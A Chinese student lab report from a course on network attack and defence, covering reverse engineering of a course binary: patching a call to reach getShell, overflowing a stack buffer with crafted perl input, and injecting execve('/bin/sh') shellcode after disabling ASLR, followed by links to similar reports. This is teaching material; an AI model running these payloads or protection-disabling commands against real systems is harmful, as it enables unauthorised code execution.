一、基础知识

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。

  • NOP指令为空指令,当运行该指令时CPU不做任何事情,但是会占用一个指令的时间,当指令间需要有延时,可以插入NOP指令。(机器码:90)
  • JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。(机器码:75)
  • JE xxx:如果相等时跳转。(机器码:74)
  • JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
  • CMP:为比较指令,功能相当于减法指令,只是不保存结果。(机器码:38、39、3A、3B、3C、3D)

掌握反汇编与十六进制编程器

  • 反汇编:就是将目标代码转为汇编代码的过程,同样可以理解为把机器语言转换为汇编语言代码、低级转高级。
  • 实验中用到的反汇编命令
    objdump -d 5202pwn | more
    objdump -d命令是将代码段反汇编,|管道符号, 它的功能是把管道|前的命令执行的结果作为管道后面指令的输入传给下一个指令。

    objdump -d name | more:该命令把name代码段反汇编,并把输出送给more命令作为输入,more命令分

二、实验内容

目标一 直接修改程序机器指令,改变程序执行流程

  • 首先对老师给出的源文件copy一下防止资源丢失。重命名为我的学号5202cp pwn 5202pwn1
  • 通过objdump命令查看汇编代码objdump -d 5202pwn1,找到main函数中汇编代码的call 8048491 <foo>部分,可以看到main函数调用了foo函数

    想要使main函数调用getshell函数,可以通过call指令后面的汇编代码部分来实现。通过把8048491这个foo函数首地址修改成getshell函数的首地址就804847d可以实现。

  • 观察一下call 8048491的机器码是e8 d7 ff ff ff,由于call的机器码是e8,而且数据在机器中是小端法存储,所以d7应该是91部分,把91修改成7d,对应的也要修改成c3部分,把机器码变成e8 c3 ff ff ff
  • 使用命令vi pwn1修改文件。

    可以看到显示内容为乱码,使用:%!xxd转换为16进制显示。

    使用/d7命令寻找e8d7ffffff机器指令所在地。

    找到以后按i进入插入模式,修改d7为c3。

    然后使用:%!xxd-r换回乱码的样子(这很关键!!未更换会导致问题,后面总结我有提到),再用:wq保存即可。

  • 再次objdump -d 5202pwn1查看修改情况
  • 运行./5202pwn1成功获取shell,目标一达成

目标二 通过构造输入参数,造成BOF攻击,改变程序执行流

  • objdump -d 5202pwn2 | more进行反汇编,确定buf的最大长度(主要看的是foo函数)

  • 参考反汇编结果可知buf分配的栈空间一共有1c(即为28)个字节。由于EBP占4字节,返回地址之前一共有32个字节,故构造的字符串应该是32字节的任意数据加getShell的地址。
  • 构造1234567812345678123456786666666111进行尝试
  • 输入gdb ./5202pwn2,调试文件,输入构造的字符串,结果如下:

    eip寄存器的值为0x313131,对应数值111。由此证明foo()所占字节为32

  • getShell的首地址0804847d,逆序输入应为\x7d\x84\x04\x08
  • 由为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input

  • 将input的输出作为5202pwn2的输入,执行5202pwn2(cat input;cat) | ./5202pwn2

目标三 注入Shellcode并执行

  • 准备工作

    • 下载execstack程序:apt-get install execstack

    • 设置堆栈可执行:execstack -s pwn1_3
    • 查询文件的堆栈是否可执行:execstack -s pwn1_3

    • 查看地址随机化的状态:more /proc/sys/kernel/randomize_va_space
    • 关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space

  • 构造shellcode(此处利用了学长提供的内容):perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode
    注入:(cat input-shellcode;cat) | ./5202pwn3
  • 此时需要另一个终端,查看执行文件进程号:ps -ef | grep 5202pwn3

    启动gdb调试进程gdb ./5202pwn3
    连接进程号attach 35907
    反汇编:disassemble foo

    设置断点查看注入buf的内存地址:

    查看foo函数的地址,已确定设立断点的位置,设在ret命令的位置
    断点设置完成后,在原终端按下回车键。再在此终端继续执行。查看esp值。
    计算返回地址为0xffffd30c + 0x00000004 = 0xffffd310

  • 修改shellcode中:perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode

  • 运行:(cat input-shellcode;cat) | ./5202pwn3

三、遇到的问题

  • 目标一中修改文件时,将乱码转为16进制显示,完成修改后没有执行:%!xxd -r还原转换,导致后面反汇编根本做不了

    当时在群里也发现很多同学都遇到了这个问题,参考其他同学的博客发现自己少了一步还原...而且一旦保存后即使再做还原也无效了,只能重新copy一份源文件重做(侧面证明拷贝的必要性!!)

2018-2019-2 网络对抗技术 20165202 Exp1 PC平台逆向破解的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  3. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  4. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  5. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  6. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  7. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  8. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  9. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

随机推荐

  1. 总结java中的super和this关键字

    知识点: 在java类中使用super引用父类的成分,用this引用当前对象 this可以修饰属性.构造器.方法 super可以修饰属性.构造器.方法 关于子类实例化过程中的内存分配,在下一篇博客中说 ...

  2. 论文笔记——Data-free Parameter Pruning for Deep Neural Networks

    论文地址:https://arxiv.org/abs/1507.06149 1. 主要思想 权值矩阵对应的两列i,j,如果差异很小或者说没有差异的话,就把j列与i列上(合并,也就是去掉j列),然后在下 ...

  3. MOOC视频学习

    mooc地址 2018/2/6-2/7学习计划: 学习第一周(1.1-1.4)内容. 学习笔记 2018/2/8-2/9学习计划: 学习第二周(1.5.2.1-2.5)内容. 学习笔记 2018/2/ ...

  4. C++小结:迟到的小结和重新起航的故事

    迟到的小结和重新起航的故事 有关这个学期的故事,随着这个学期的结束也划上了一个句号. 正如之前博客里面(还是空间里面)提到的,在这个过程中的收获比最后考试的结果更重要. 就像这次的计算器,也许会对最后 ...

  5. 如何获取xml循环体报文内容

    Xml报文格式如下所示:   <body> <FILENAME></FILENAME> <records>20</records> < ...

  6. 肿瘤基因组学数据库终结者:cBioPortal---转载

    转载自:http://blog.sciencenet.cn/blog-1509670-1000479.html 随着芯片和高通量测序技术的广泛应用,在肿瘤研究领域积累了越来越多的基因组学数据,特别是像 ...

  7. 基于Java的三种对象持久化方式

    1:序列化技术: 序列化的过程就是将对象写入字节流和从字节流中读取对象.将对象状态转换成字节流之后,可以用java.io包中的各种字节流类将其保存到文件中,可以通过管道或线程读取,或通过网络连接将对象 ...

  8. ssh 连接不同无线网且IP以及用户名都相同

    问题现场及解析 用OpenSSH的人都知ssh会把你每个你访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts. 当下次访问相同计算机时,OpenSSH会核对公钥. ...

  9. Java基础九--抽象类

    Java基础九--抽象类 一.抽象类介绍 /*抽象类:抽象:笼统,模糊,看不懂!不具体. 特点:1,方法只有声明没有实现时,该方法就是抽象方法,需要被abstract修饰. 抽象方法必须定义在抽象类中 ...

  10. LeetCode--155--最小栈

    问题描述: 设计一个支持 push,pop,top 操作,并能在常数时间内检索到最小元素的栈. push(x) -- 将元素 x 推入栈中. pop() -- 删除栈顶的元素. top() -- 获取 ...